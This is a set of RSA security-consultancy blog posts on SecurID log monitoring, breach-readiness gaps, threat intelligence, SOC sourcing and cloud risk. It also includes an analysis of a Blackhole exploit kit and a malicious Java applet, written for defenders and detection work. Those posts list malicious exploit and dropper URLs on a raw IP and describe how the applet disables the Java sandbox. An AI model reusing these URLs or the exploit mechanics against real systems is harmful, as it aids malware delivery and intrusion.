Organizations which deploy RSA Authentication Manager (SecurID) for enforcing two-factor authentication frequently think of their RSA SecurID solution only as an additional security control to enforce strong authentication to resources. However, by analyzing the wealth of log data that is generated by RSA Authentication Manager, organizations can gain valuable intelligence that can be useful to detect attacks and perhaps even predict new attacks.

As my colleague Tom Chmielarski posted a few weeks ago, use cases must be developed first to help guide and refine the types of events that will be valuable to your organization. This post will describe two use cases that many organizations will likely find valuable.

Detect access attempts using lost or stolen tokens

As any organization that has operated an RSA SecurID solution for any period of time already knows, users frequently misplace or lose their hardware tokens. When users report the lost token, normally they are assigned emergency access codes for a short period of time until the token is recovered or a new token is assigned. However, if a user authenticates successfully with their emergency access code:

(AUTHN_METHOD_SUCCESS_TEMPORARY_FIXED_TOKENCODE events for the user are indicated in runtime authentication logs), but subsequent bad PIN events are discovered for the user (AUTH_FAILED_BAD_PIN_GOOD_TOKENCODE events for user are present in runtime authentication logs), there is a possibility that someone has obtained the user’s token without their knowledge and is attempting to guess the user’s PIN.

The previous scenario assumes that the attacker knows the user’s userID; if the useriD is unknown the attacker will likely try to guess the user’s userID. Attempts to guess valid usernames can be detected by looking for AUTH_RESOLUTION_FAILED_BY_ID_ALIAS events.

Of particular interest, observe several subsequent login attempts for a particular userid and try to identify patterns. For example, assume that my userid is ‘wgoulet’. An attacker that knows my name and the company I work for may well generate several possible userids based on my name. Here are a series of events that would be logged by RSA Authentication Manager that could indicate such attempts.

2013-04-05 12:35:52,552,
db0de0686441a8c0052db45bd f59cc15,899413cc6441a8c00 0ba0f53a08fd2e6, 192.168.XX.XX,192.168.XX.XX, AUTH_PRINCIPAL_RESOLUTION,23008, FAIL,AUTH_RESOLUTION_FAILED_BY_ID_ALIAS,, SYSTEM,SYSTEM,SYSTEM, wpgoulet,SYSTEM,SYSTEM, d84f41896441a8c00524ecb3d b4b6e54, 000000000000000000001000e0011000, 192.168.XX.XX,
win2k3-am71.pslab.com,1,,,,,,,1,,,,,,,,

2013-04-05 12:36:12,630,
db0e2ed56441a8c00538ba24a 960784f,899413cc6441a8c0 00ba0f53a08fd2e6, 192.168.XX.XX,192.168.XX.XX, AUTH_PRINCIPAL_RESOLUTION,23008, FAIL,AUTH_RESOLUTION_FAILED_BY_ID_ALIAS,, SYSTEM,SYSTEM,
SYSTEM, goulew,SYSTEM,SYSTEM,d84f41896441a8c00524ecb3db4b6e54,
000000000000000000001000e0011000,
192.168.XX.XX,win2k3-am71.pslab.com,1,,,,,,,1,,,,,,,,

2013-04-05 12:36:33,254,
db0e7f666441a8c0053f983220384857,899413cc6441a 8c000ba0f53a08fd2e6, 192.168.XX.XX,192.168.XX.XX,AUTH_PRINCIPAL_RESOLUTION, 23008,FAIL,AUTH_RESOLUTION_FAILED_BY_ID_ALIAS,,SYSTEM,
SYSTEM,SYSTEM,walter.goulet@rsa.com,SYSTEM,SYSTEM, d84f41896441a8c00524ecb3db4b6e54,000000000000000000001000e0011000, 192.168.XX.XX,win2k3-am71.pslab.com,1,,,,,,,1,,,,,,,,

Detect access attempts to unauthorized resources

Typical organizations use their RSA SecurID solution to provide strong authentication for remote VPN access and for high value applications. Therefore, there will typically be a few SecurID agent hosts that are accessed by a large percentage of the organization’s user population. These usage patterns can be constructed by observing the total number of AUTHN_METHOD_SUCCESS events for each SecurID agent host. By building a history of userids that access agent hosts, you can construct access profiles for your users that show which agent hosts are typically accessed by a given userid. This history can then be cross-referenced with subsequent AUTHN_METHOD_SUCCESS events for a given userid to detect unusual patterns, such as a userid suddenly attempting to access a SecurID agent host that they have not accessed in the past. Alternatively, attempts to authenticate to a large number of agent hosts could indicate attempts to reconnoiter your network to gain access to SecurID protected resources.

Another way to detect unauthorized access to agent hosts is to configure your RSA SecurID agents as restricted agent hosts. When SecurID agents are configured as restricted agent hosts, only users that belong to groups granted access to the agents may authenticate. If unauthorized users attempt to access restricted agent hosts, the following event is logged by AM:

2013-04-11 11:45:03,760, f9c583106441a8c001ee1e2de321139a,899413cc6441a8c000ba0f53a08fd2e6, 192.168.XX.XX,192.168.XX.XX,AUTH_AGENT_ACCESS_CHECK,23004, FAIL,AGENT_ACCESS_CHECK_FAILED_NO_ASSOCIATED_GROUP,, d885b2ae6441a8c00527cc160d00e972,000000000000000000001000d
0011000,000000000000000000001000e0011000,wgoulet,wgoulet,wgoulet, d84f41896441a8c00524ecb3db4b6e54,000000000000000000001000e0011000, 192.168.XX.XX,win2k3-am71.pslab.com,1,,,,,,,1,,,,,,,,

Conclusion

Hopefully this blog post has given you a few ideas of the types of security monitoring use cases that can be implemented by monitoring your RSA Authentication Manager event logs. By combining these events with other events generated by other components of your security infrastructure, you can gain valuable insight into activities taking place on your network to help you better secure your environment.

Walter Goulet is a Senior Practice Consultant within RSA Professional Service’s Identity and Data Protection practice. Walter is responsible for designing and implementing world-class customer security solutions based on RSA’s industry-leading RSA SecurID product line, PKI and other authentication technologies.  Walter holds 2 SANS GIAC certifications as well as a MS in Computer, Information and Network Security from DePaul University.

• 

The main goal of RSA’s Advanced Cyber Defense (ACD) practice is to help customers strengthen their overall cyber security posture so they are able to better defend against advanced threats. In order to accomplish this goal, the ACD team provides a number of services, including an initial engagement referred to as a Breach Readiness Assessment (BRASS).

After having conducted a number of such BRASS engagements over the past year or so with customers in a variety of industry sectors – including, aerospace, financial, telecommunications device manufacturers, and health care technology – we’ve compiled a list of the Top 10 gaps that we’ve observed during these engagements. The following list is roughly ordered in frequency of occurrence (gaps at the top were seen at more customers than those further down the list), but all were observed at numerous customers:

1. No incident response tracking or workflow mechanism (e.g., ticketing system).
2. No clearly defined roles and responsibilities around incident response and other breach-related activities.
3. Ad hoc or unclearly documented incident response procedures. Where such procedures do exist, they often do not match what is done in actual practice.
4. Inadequate or lack of centralized security monitoring and alerting. In many cases, there are no real-time alerting capabilities (e.g., alerts are not delivered to analysts for 24 hours or more).
5. No forensic analysis capabilities. As a result, incident remediation is often incomplete.
6. Insufficient number of security staff.
7. Insufficient or non-existent user awareness training regarding advanced threats.
8. Inadequate patch management process. Many companies do well deploying the monthly Microsoft patches, but struggle to deploy out-of-band and non-Microsoft patches.
9. No post mortem analysis (i.e., lessons learned) following incident resolution.
10. No cyber threat intelligence capabilities. Implementing a strong threat intel program is critical in order to start getting ahead of advanced threats.

Just about any security organization can (and should) benchmark their company’s breach readiness against this list. The obvious and most prudent question is to ask whether any of these gaps exist in your organization’s breach readiness and response plans? How can your organization go about closing these gaps and what are the potential risks to your business if they aren’t fixed?

RSA ACD practitioners work with our customers to provide viable recommendations for resolving each identified gap, including alternatives where applicable. The ACD team also helps implement selected recommendations via other offerings in our service portfolio, including Cyber Threat Intelligence, Breach Management and the development of a NextGen Security Operations Center (SOC). The methodology behind these offerings will be discussed in future posts.

Tim Rand leads the delivery of professional services for RSA’s Advanced Cyber Defense Practice in the Americas, including breach readiness/management, incident discovery, cyber threat intelligence, and Advanced Security Operation Center (ASOC) design and implementation.

• 

Based on the last few Incident Response engagements I’ve participated in, the most common question I’ve heard is “what are the common indicators you are using to find evil?” This is not a question that has a simple answer.  In this blog post, I’ll examine a Blackhole exploit kit session and discuss the various network indicators that analysts should be looking for when identifying host exploitation and associated binaries.   The intent here is not to pick apart malware or de-obfuscate JavaScript, but to show how asking simple questions about your network traffic can reveal the bad stuff being missed by your other security products.

For this exercise, I’m utilizing a packet capture (PCAP) associated with a zero day exploit used by the Blackhole exploit kit 2.0.  This PCAP can be found on the Contagio malware repository managed by Mila Parkour[1].

This scenario begins with a phishing email attempting to spoof correspondence with a popular data processing outsourcing provider.  A user that clicks on the link with Firefox as the default browser will initiate the following HTTP GET request:

Figure 1: Initial HTTP GET Request

The response is a common indicator of a Blackhole exploit kit landing page, as noted by the text “WAIT PLEASE Loading…”, followed by JavaScript pointing to links associated with active redirectors.

Figure 2: Example of Blackhole Exploit Kit Landing Page

NOTE: Be careful when building IDS rules based on the HTML text above due to the high possibility of false positives. However, note that the folder names in the URL path contain 8 random alphanumeric characters.

Figure 3: Sample GET Request From Landing Page

Both URLs point to the same redirector containing the exploits to be served to the host:

Figure 4: Redirector Points to Host Containing Exploits

NOTE:  The ETag associated with this file was also found in PCAPs associated with other redirectors and could provide a useful indicator to be used in an IDS signature.

As shown in the GET request below, a common red flag for analysts to review is an HTTP GET request directly to an IP address.  While there are occasions where this is normal, it’s a good practice to verify that a direct HTTP request to an IP is benign.

Figure 5: Get Request Sent to Server Containing Exploit Code

Accessing this page dynamically generates heavily obfuscated JavaScript containing a URL pointing to PDF and Java exploits (Decoding this JavaScript will be discussed in a future blog post).

Figure 6: Sample of Obfuscated JavaScript and Associated Jar File

Two of the links generated point to an unsuccessful PDF exploit for CVE-2010-0188:

• 69.194.193.34/links/systems-links_warns.php?ljpcwedu=0206360203&unnioab=41&phjf=35353306040934370b06&jct=0b0006000200030b07.

• 69.194.193.34/systems-links_warns.php?nfezhok=0906343704&sbipbq=3dzz7ecg=35353306040934370b06&qara=0b0007000400040b07.  This appears to be a second attempt due to the first being unsuccessful.

The PDFs contain the following shellcode, which contains the URL for the downloader:

Figure 7:  Exploit Code From Malicious PDF

The third link accessed is associated with a Java JAR file that contained exploit code for CVE-2012-1723 and CVE-2012-4681 (Additional review of the JAR file will also be covered in a separate blog).  The successful exploit causes the host to download the dropper “calc.exe” from 69.194.193.34/links/systems-links_warns.php?tf=0206360203&le=35353306040934370b06&i=02&jy=b&fg=h.

Figure 8: Get Request for Downloader

NOTE:  Another red flag for network analysis is shown above with the inclusion of Java/1.7.0_06 being referenced in the User-Agent field.  Outside of Java updates, it is not normal to see this and the associated sessions should be reviewed.The response contains additional red flags that should be also be considered:

Figure 9: Response to HTTP GET Request for the Downloader

• Content-Type does not match what was in the Accept field in the GET request.
• Content-Disposition with filename.  This forces the save-as feature to download the file with that name and often indicates an automated download.

With the downloader now on the host and executed, we see it check-in:

Figure 10: Encrypted HTTP POST From Downloader

NOTE:  The above HTTP POST contains several red flags:

• The User-Agent string contains Windows 98.
• HTTP POST direct to an IP.
• HTTP POST without an associated referrer field.
• HTTP POST header contains HTTP/1.0.  This is not normally seen associated with modern browsers or tools.

Figure 11: Downloader C2 Response

With the check-in complete, it pulls down the Zeus Trojan

Figure 12: HTTP GET Request for Zeus

Figure 13: Response to HTTP GET Request for Zeus

Finally, we see random UDP data being sent to seemingly random IP addresses, which is a good indicator that the Zeus version downloaded was P2P capable, without having to statically analyze it.

Figure 14: Sample Zeus P2P Packet Metadata

So, just from quickly analyzing the Blackhole exploit kit in action, we’ve identified several key network indicators that analysts should keep an eye out for.  These indicators can be easily automated by your tool of choice, be it an IDS or a NetWitness Decoder and can be grouped to reduce the amount of false positive hits.  Additionally, products such as NetWitness are migrating to a unified analytics approach, which are automating the implementation of well-known indicators as they become known within the malware intelligence community.  The table below summarizes the network indicators we’ve identified:

Figure 15: Sample P2P Data Sent By Zeus

HTTP Response containing “<h1>WAIT PLEASE</h1>

 <h3>Loading...</h3>”

Figure 16: Summary of Common Network Indicators

• 

In Part I of my post on Switch Targeting, I discussed the fundamentals of how adversaries use seemingly trusted hop points as vectors in and out of primary targets similar to how bank robbers target, stage and execute their robberies. Now I want to introduce the concept of the three “R’s” or R3 based on my experience in the field helping organizations position themselves to detect where these switch targets may be relative to their own attack infrastructure as part of designing a Next Generation Security Operations Center (SOC). R3 is comprised of three focal areas for the Chief Information Security Officer (CISO) to consider —- Readiness, Response and Resiliency.

Readiness refers to an organization’s understanding of their current operating state measured against its ability to handle cyber security incidents driven by predictive intelligence. If you were breached today, would you know exactly what to do and how you would perform? Do you know where your highest value targets (HVT) and programs (HVP) are and what the impact would be if they were breached?

Response drives an organization’s ability to triage, analyze, escalate and remediate material cyber incidents.

Resiliency is the ability to predict, respond to and/or mitigate cyber incidents while operating and sustaining an optimized security operations capability. Are you leveraging historical attack intelligence, behavioral anomalies and advanced analytics to enumerate your risks mapped to likelihood of attack targeting of your enterprise?

In concert, R3 provides a predictive site picture that would look more like a weather report in that risks mapped to likelihood is a graduated continuum of hot, mild and cool zones where real time decisions can be made on mitigating risks of attack based on movements in network behavior severity and likelihood levels.

Now take this concept one step further and apply this to mapping multiple data cubes such as business risks, nodal anomalies, threat intelligence, HVTs and HVPs and begin analyzing based on behavioral clusters, distribution, frequency, relative closeness, densities, separation, relationship and subspace trending. An example of this would be Eigenvector analysis relative to how attack infrastructure analysis would be rendered so that attack vectors/targets can be determined before material impact occurs. Below is an example of a given attack infrastructure of an enterprise where severity and likelihood zones can be identified quickly based on nodal relationships between an organization’s core infrastructure related to potential hostile or high risk relationships/active targeting.

This becomes extremely powerful for the security analyst and network defender to execute real time response or mitigation while sustaining operational efficiencies all while feeding back into the R3 loop. In my next post, I will discuss the value of attack attribution within the R3 concept and the impact to Next Generation SOC design. If you’d like to hear more about Next Generation SOC design approaches for advanced cyber defense, please listen to my recent slidecast recorded April 2^nd at: (http://rsa.edgeboss.net/download/rsa/2013/040213nextgen_soc.wmv).

Peter Tran leads RSA’s world-wide Advanced Cyber Defense Practice and directs overall professional services for Global Incident Response/Discovery (IR/D), breach readiness/management, remediation, cyber intelligence/exploitation analysis, Next Generation SOC design/implementation and proactive computer network defense.

• 

In part 1 of this blog, “Beyond the Zero Day” we focused on detecting malicious JVM [Java Virtual Machine] activity and identifying the ‘blob’ that was downloaded.  No subsequent network activity was detected after the download, but that doesn’t discount successful malware delivery and deployment.  We can certainly seize and forensically examine the host, but that might require massive time investment for an organization and we don’t even know what we’re looking for yet.  The first place to start is by examining the Class file that kicked off the HTTP GET for our ‘blob’.

Reverse Engineering a Malicious Class File

When analyzing malicious JAR’s or Class files we’ll need a few tools.  To analyze JAR’s, I use JD-GUI, however this is a class file and JD-GUI doesn’t support raw Class files.  We’ll need to use JAD [Java Decompiler] to examine the plain text for the Class.  When using JAD or JD-GUI it’s important to note that the malicious actor is aware of these tools and actively plans for their use.  You’re going to encounter bytecode errors in decompilation and work around them, if possible, to get the applet to run.  You will also run into files that produce so many bytecode errors it’s impossible to debug them.  The Black Hole exploit kit JAR’s are compiled in such a way it makes it extremely hard to perform a dynamic analysis.  The code is also usually run through an obfuscation tool, making the flow difficult to follow and hiding certain strings like URL’s, other Class files, and decoding/decryption keys.

To reverse the Class I use Eclipse, a popular Java IDE.  After starting a new project and adding my Class file, I have to go through and manually fix the bytecode errors.  Luckily in this instance there are few errors and only several lines without functionality need to be commented out.

This is being launched as an applet. Generally, malware writers embed a variable in the applet to be passed to the JAR/Class almost as a key.  We easily found it with NetWitness and need to add it to the Class itself.  You’re typically looking for GetParameter().

Before we set out breakpoints and debug the Class, we need to examine the source and find interesting functions/strings to watch for.  We find quite a few large encoded strings within the Class.

We can also see a section that downloads from a URL and appears to vivify an array with 31 entries it populates with values in two’s complement.  In the while loop we can see the variable abyte0[] being applied with the ‘^=’ operator, which is the Java bitwise exclusive or [XOR] and assignment operator.   This operation is a classic stream decoder and matches up to the 31 byte repeating structures within our ‘blob’.

After examining these artifacts, I find it helpful to toggle breakpoints at the beginning of each of the functions and especially around the functionality of the stream decoder.  After we’re satisfied with our breakpoints and have no more errors, we can go ahead and debug as an applet.  While stepping through the Class, we can watch the variables as it decodes the strings.

The “com.sun.org.glassfish.gmbal.” section is cutoff, it adds “ManagedObjectManagerFactory”.  S1 has an interesting string, 0xCAFEBABE is the file magic for Class files.  This is a hex encoded Class file.   The “un.invoke.anon.AnonymousClassLoad” loads the new Class file, it was originally intended for patching and dynamic Class generation.  The Class needs to be decompiled with JAD and is fairly interesting.

System.setSecurityManager(null) allows the applet full access to the machine.  This allows the unsigned executable to be copied outside of the JVM sandbox and execute.

Before the decoder section, the code has to generate a URL to fetch the malware, one of the many loops with encoded strings assembles the URL.  Entering the decoder section we can see the URL and temp directory where the malware will be copied and executed along with the 31 byte XOR key.  Calculating the two’s complement value and transforming it to hex gives us the key; 8215E1AABBFEDBF24030AF734FB793D0A112CBBD2994EE25BF2F835DC2E5BC.

The URL matches up with what we saw in NetWitness and we now have the key to decode the ‘blob’.  Cursory sandbox analysis revealed no network activity, just like we observed in NetWitness.  In part 3, I’ll be covering how to move forward with the incident by examining the host and it’s memory.

Erik Heuser is an advisory Practice Consultant for the RSA NetWitness Incident Response /Discovery (IR/D) Practice at RSA. In this capacity, Erik is responsible for delivering holistic incident response services using state-of-the-art host and network-based technologies. In addition, Erik performs threat research and develops content / techniques that can be used by clients to identify compromise and mitigate risk.

• 

Being in the IT world, the years fly by at such a rate it all seems like a blur. Many of us in this field are tied to multiple large-scale projects that need to be completed before year-end. Well here we find ourselves in 2013 and the question is how serious are you and your company about IT security? Is your company aware of how complicated and serious the threats are today? Does your company have the proper stance to defend and alert against breaches across the multiple attack vectors? Most companies are behind both in practice and planning and there is a lot at stake.

Just a few years ago, companies were overconfident in internet firewalls and antivirus solutions protecting the internal network from the threats of the internet. This mentality of the past was just OK at best. Today we live in an Internet of Things (IOT) where everything is connected and these dated solutions only protect against “obvious,” otherwise simple threats. Attackers are making larger and larger efforts to evade and obfuscate detection, and cause significant damages such as physical harm, financial harm, and to unlock valuable IP data.

The fact of the matter is if your company has not been keeping up with the times, there is a lot of catching up to do; it is a daunting task. This undertaking becomes even more difficult for large companies that need to manage thousands of desktops and laptops. Threats exist on both the external and internal networks. The largest threats to companies occur on the internal network where malicious employees and compromised machines can wreak havoc; crippling machines, forming botnets, stealing identities, siphoning off valuable data, and the list goes on. Fortunately, there are companies specializing in products, services, and solutions to build out defenses as well as mission critical Security Operations Centers (SOC) to gain real-time visibility for proactive resolution.

Justin Mitchell is a Senior Practice Consultant for RSA’s Advanced Cyber Defense Practice serving the Americas. Justin has over 10 years of experience in IT, spanning architecture, security, incident response, and strategy.

• 

This is the second part in a series: refer to part one for the introduction.

This blog series examines response options to an enterprise intrusion of some sort, be it by “APT” or Hacktivists” or some other category involving a purpose-driven actor. I’ll refer to these as targeted attacks even though they are often not targeted too specifically, but that’s a different topic. These threats pose a risk to the organization that is, generally speaking, more severe than typical malware on a single system. A hactivist attempting to discredit your company will probably have more of a business impact than a single computer infected by the Zeus crimeware trojan. Of course, that “common” Zeus infection could happen to be on a system used by someone in finance who has access to company records, as seen in actual attacks, and may indicate a major threat to your organization.

This brings us to the concept of threat intelligence before we delve into the actual response.

Determining what type of risk is posed by a given incident is difficult. We can’t afford to over-respond and examine every antivirus detection for indicators of a targeted attack, for example, but if we don’t find these intrusions and respond appropriately we may not contain them. Yet failing to respond appropriately can result in an adversary freely accessing a network for months or longer, doing whatever they wish. As an example we can look to the reported 10-year long breach of Nortel. However, this is a balancing act and mistakes will always be made.

“A well-run threat intelligence team can substantially improve the organization’s ability to prevent, detect, and respond to targeted attacks by allowing that organization to separate commodity attacks from high-threat attacks…”

A great way to improve an organization’s ability to assess the risk of a given threat, and to improve detections of higher-risk threats, is through the development of a threat intelligence function. This is typically a sub-team within the Incident Response function tasked with:

• Thoroughly examining targeted attacks, both those that resulted in intrusion and those that did not
• Examining malware to identify technical indicators and actor-specific markings
• Researching and correlating domains, IP addresses, and email addresses used by the adversaries
• Processing external intelligence, open and closed source, to improve detections
• Coordinating with partners who also have threat intelligence functions

A well-run threat intelligence team can substantially improve the organization’s ability to prevent, detect, and respond to targeted attacks by allowing that organization to separate commodity attacks from high-threat attacks, and blocking technical resources (email addresses, for example) associated with targeted attacks. To use a rough analogy, a threat Intelligence team can provide information about the attack landscape just as a weather forecaster can predict and understand the weather. When reducing the dwell time of an attack can mean the difference between a single-system compromise and an enterprise-wide breach, that additional insight can be a tremendous advantage.

Tom Chmielarski is Practice Lead within the RSA Advanced Cyber Defense Practice serving the Americas. Tom has over 15 years of IT experience, primarily in security, spanning operations, incident response, malware, forensics, data analysis, and strategy. He has experience in the Defense, Industrial Controls, Electronics manufacturing sectors. He is a subject matter expert in incident response, security monitoring, forensics, malware, and data analysis.

• 

It’s an increasingly common question these days, and not an easy one at that. That is, do you build your security operations capabilities in house, or do you go with a Managed Security Service Provider (MSSP)? There are certainly advantages to both and bottom line wise; it is hard to say which one actually is cheaper.

Ultimately, as with all things, it is a business decision that is made with an acceptable level of risk in mind.

To make that decision easier, you should ask yourself a few questions:

• Does your organization have the right skillset(s)?
  • If not, how difficult will it be to find talent?
  • How will you train and retain that talent?
  • How much time do you have to implement your strategy?
  • Do you anticipate a high volume of incidents that will require response?
  • Is your organization under strict compliance regulations?
  • What are your overall goals for your SOC?
    • Do you want 24 x7 Coverage?
    • Is your end state goal to be world class and state of the art?
    • Is commodity-level monitoring adequate or do you need monitoring and response to be intelligence driven and customized to your business and known threats?
    • Do you need high detection rates for incidents?
    • Do you want to be more proactive instead of reactive?
    • Do want to incorporate continuous improvement into your lifecycle?
    • Do you want to perform root cause, malware and forensic analysis?

Of course, you may not know the answers to these questions or may not be able to clearly define your goals for your SOC. If that is the case, no worries, one option is to start building your Security Operations in-house for a specific period of time (usually a year) to get a baseline for normal operations. After that time, you will be able to identify areas that can be outsourced as well as clearly define requirements and deliverables from your chosen vendor. Alternatively, you will also be able to identify functions that need to stay in-house to remain effective.

Below I have included an example pro’s and con’s list which can be used to compare the two options with a final rating at the end. The sample shows an in-house solution as the best option, but that is dependent on the importance rating for each pro or con which will be different and based on the answers to the above questions.

Deciding which strategy is right for you is more complex than a simple table, especially given the long term financial considerations of either. But it can be a useful way to identify and compare the major advantages and disadvantages.

Justin Grosfelt is a Principal Security Consultant for the world-wide Advanced Cyber Defense (ACD) Practice. He is a subject matter expert on matters relating to Global Incident Response/Discovery (IR/D), breach readiness, computer forensic analysis, remediation and proactive computer network defense. Prior to RSA, Justin led network and host based malware and cyber threat analytics/investigations and incident response forensics for the Raytheon Company Cyber Threat Operations Program.

• 

A through risk assessment should be adopted by customers to ensure that the benefits for moving on to the cloud outweigh the potential security threats. Techniques like privacy impact assessment (PIA)   and ‘Plan, Do, Act, Check’ are recommended to ensure a moderate, but comprehensive change for them. Evidences shows that there may be issues involving customers meeting their legal obligations when their data are hosted outside of their local context.  Hence, this will trigger issues relating to the effectiveness of existing risk governance frameworks. There should be more evaluations conducted to assess the true potential and apparent risks to protect customers and Cloud Service Providers (CSP).

Dependence on cloud for all critical applications should be avoided. The network outage of Salesforce.com for 40-minutes that left 9,000,000 subscribers without access to their data is a stark reminder of possible cloud over-dependence. The closure of CSP ‘Coghead’ in 2009 due to economic conditions remind us again the question of  data resilience and data backup as it took organisations months to retrieve their data from  the company servers.

In 2008 Sales force.com has witnessed 6 hrs while Amazon’s S3 and EC2   lost 3 hrs of service outage. While in 2009, Google Gmail went down for 3 hrs, approximately 113 million users were affected by disruption in service. However, many cloud service providers now are providing minimum downtime service clause in their SLAs.

Developing a Holistic Cyber Cloud Strategy

It is recommend to assess the following areas during the selection for an appropriate  Cloud Service Provider (CSP), that is,

Figure (1)

• Communication Route: The communication route between client administrator and cloud host usually occur on an open channel mostly with clear data text transmitted over the internet; there is a need to set up secure channel by organisations to prevent Man in the Middle attack.  It is therefore essential for organisations to assess whether CPS offer encrypted admin access to cloud operating systems and applications. The data encryption level (standard) should be assessed before selecting a particular cloud.

• Effective Security controls: CSP must outline how data would be stored and retained; the existing security controls should be highlighted to ensure data integrity and confidentiality. How CPS is storing and segregating its various customers’ data is important – during the event of a security breach how a cloud provider handles customers enquiries are some of the important areas to be looked into. However, over extension of data transparency can create issue as it may aid malefactor and insider theft.  It is recommended that reporting channel needs to be agreed and tested before the service commence.

• Audit:  The audit facilities needs to be thoroughly assessed as in case of a security breach organisation needs to ensure that data available by authorities or IT Auditors is easily accessible through the Cloud; the issue of data storage in various locations by a CSP should be examined in details as organisation don’t want to end into situation where providers declines clients auditing requests in case of a breach.

• Quality Assessment: Selection of a particular CSP should not be based solely on cloud provider own threat assessment.It is recommended to assess CSP quality prior to selection; third part validation of the controls and assessment of the data security would be increasingly vital. Whether communication channels are periodically tested is an important factor for selection.

• API Security: Confidence in cloud services is reliant on the security of the application programming interfaces (API) that are responsible for safeguarding against the unintentional or premeditated attempts to thwart policy. An API is a specific set of rules that enables software to interact with the software environment that is native to the cloud .Third parties often create add-ons to these interfaces to offer additional functionality which increases organisational risk as they often have to resign certain credentials to them for the APIs to work correctly .This threat can alleviated by ensuring the strongest encryption standards, authentication methods and access controls are implemented.

• Legal implications: Discussion should be carried out with CSP about legal obligation in terms of storing data offshore in other countries. While choosing a CSP the location of the data centres should be kept in mind   as the European Union privacy and data regulation prohibits transmission and storage of sensitive personal data outside the EU. Who is liable for the data breach and service outages  during   an incident  involving  a criminal activity at one of the data centres of CSP based in countries (for example Asia Pacific) where data protection laws are not that stringent are some of the important issues to think about before selecting  a CSP. While choosing a CSP the organisations should make an effort to enquire whether the provider has attained SAS 70 or ISO 27001 certifications.

• Exit Clause: One of the common mistakes the organisations makes are to ignore the ‘exit clause’ when evaluating the SLAs. In the event of failure of the cloud, steps need to be highlighted at how to regain ownership and control of the data. This is a complicated process in terms of retrieved data compatibility and processing of capability of the client.

• Vendor lock-in is one of the major concerns identified- there are no standard APIs (application programming interface) and each CSP is comfortable with its own customised interface; as a result data import, and data move becomes more difficult and the businesses are in a lock-in situation. In case of CSP closure (economic condition the main issue) business clients can face serious repercussions for data migration. Current efforts to develop a consortium of standard APIs such as SOAP or REST to manage cloud services are underway by various stake holders (cloud forum, cloud alliance etc)

• HR Issues:  Migration to the cloud will bring also bring new HR issues of appropriate corporate training; the processing of business applications remotely will bring new challenges enforcing corporate standards and procedures.

Questioning CSPs

Following are the Questions to ask before signing the service level agreement (SLA):

Figure (2)

Conclusion:

Cloud computing has the potential to be a modern day disruptive force in technology circles.  The hype that comes with it is unavoidable at this stage but it has caught the hearts and minds of technology gurus and the everyday computer user alike.  The impact of Cloud services is expected to drive IT industry growth for the next 25 years.

There is a always a security risk when deciding to go towards cloud platform however, in the current economic condition organisation has much broader risk of business failure  by ignoring the call for cloud immigration. The substantial benefit of the cloud immigration is pushing the industry to assess security concerns as business requirement rather than risk.

It is important to note however that security issues that are associated with cloud Computing are intensified by cloud computing but not explicitly caused by it.   It is important to understand that security concerns are well founded in a cloud environment due to increasing organised cyber crime activities. Any move to cloud will bring new challenges in terms of security of the data and third party applications. However, many organisations are in a better security position by being on the cloud than on their internal networks.

The above blog abstract is from my recently published article on cloud computing. For more elaborate insight into the threat experience by 200 IT professionals, access the following link

10.1108/13590791311287337

RSA Virtualization and Private Cloud Security Service

For more information on what RSA offers on Cloud security please follow the link

http://www.emc.com/services/rsa-services/virtualization-private-cloud-security.htm

Azeem Aleem is a Practice Lead for the Advanced Cyber Defense Services Practice – EMEA. In this capacity Azeem is responsible for overall professional services engagement for Global Incident Response/Discovery (IR/D), breach readiness, remediation, SOC/CIRC redesign and proactive computer network defense. Azeem has made frequent appearance on regional television and radio programs as an expert on cyber threats. He possesses over 10 years of combined experience in developing technical staff and programs in, e-crime investigations, Incident Response, Advanced Persistent Threat (APT) defense, Cyber Threat Intelligence, operations and projects.

• 

With all the recent Java Virtual Machine (JVM)exploits, a lot of attention is being focused on figuring out how best to mitigate the vulnerability.  Detection has been limited to signature-based attempts, mostly firing on class names or well-known strings within the JAR/Class.  While this works for the commodity malware based on pre-packaged kits like Black Hole and Redkit, a clever adversary will re-write the exploit and avoid that simple detection method.

During a recent engagement we came across a unique JVM drive-by. In this 3-part series I’ll cover:  detecting malicious JVM activity with the RSA NetWitness network forensics platform; reverse engineering the Class file, and analyzing the host with the RSA ECAT signature-less malware detection tool to quickly triage the incident.

Detecting Malicious JVM Activity with RSA NetWitness

How do we detect and analyze these attacks?  We start by profiling JVM activity and HTTP Methods.  Within the context of RSA NetWitness, we can write simple Application Rules to identify JVM activity via HTTP.  Next, we write another Application rule to profile HTTP Methods.  We’re specifically interested in HTTP GET’s without a POST.  This indicates a request to pull a resource from the remote host and is typical behavior post-exploit.

Combining this new metadata and analyzing the destination by host name or by IP revealed a direct to IP GET request from the JVM.  Re-pivoting on the destination IP revealed the entire attack.  The user was watching a YouTube video and was redirected to the attacker by a compromised ad network.

The iframe redirects to a PHP page and assigns a string to the variable ‘zid’.  The browser then crafts this request and sends it to the server.

Here we see HTML that uses the img operator to request a GIF.  At the bottom we have some Javascript that writes another iframe and passes the ‘zid’ variables to 4f.php.  This will generate two separate requests.

The first request is for the GIF, we can see the magic in the response.  When rendered we can tell it is a legitimate advertisement.

The next request, built by the Javascript-created iframe, retrieved an applet with an embedded parameter.

The “code” in the applet is the Class file and we can see it downloaded.

The Class file is compiled and starts with the magic 0xCAFEBABE, after the host executes it we see the JVM download a ‘blob’.

The ‘blob’ has no recognizable magic file header and has no known filetype.  The NetWitness Investigator forensics application attempts to render HTTP as ASCII so the binary data appears to be random.  Upon closer inspection, we can find 31 byte repeating structures within the ‘blob’ that would be at the same offset as the padding section in a PE header.

In Part 2 of this blog series, we’ll investigate the repeating structures further, reverse engineer the Class file to decode the ‘blob’ and assess the host with RSA ECAT.

Erik Heuser is an advisory Practice Consultant for the RSA NetWitness Incident Response /Discovery (IR/D) Practice at RSA. In this capacity, Erik is responsible for delivering holistic incident response services using state-of-the-art host and network-based technologies. In addition, Erik performs threat research and develops content / techniques that can be used by clients to identify compromise and mitigate risk.

•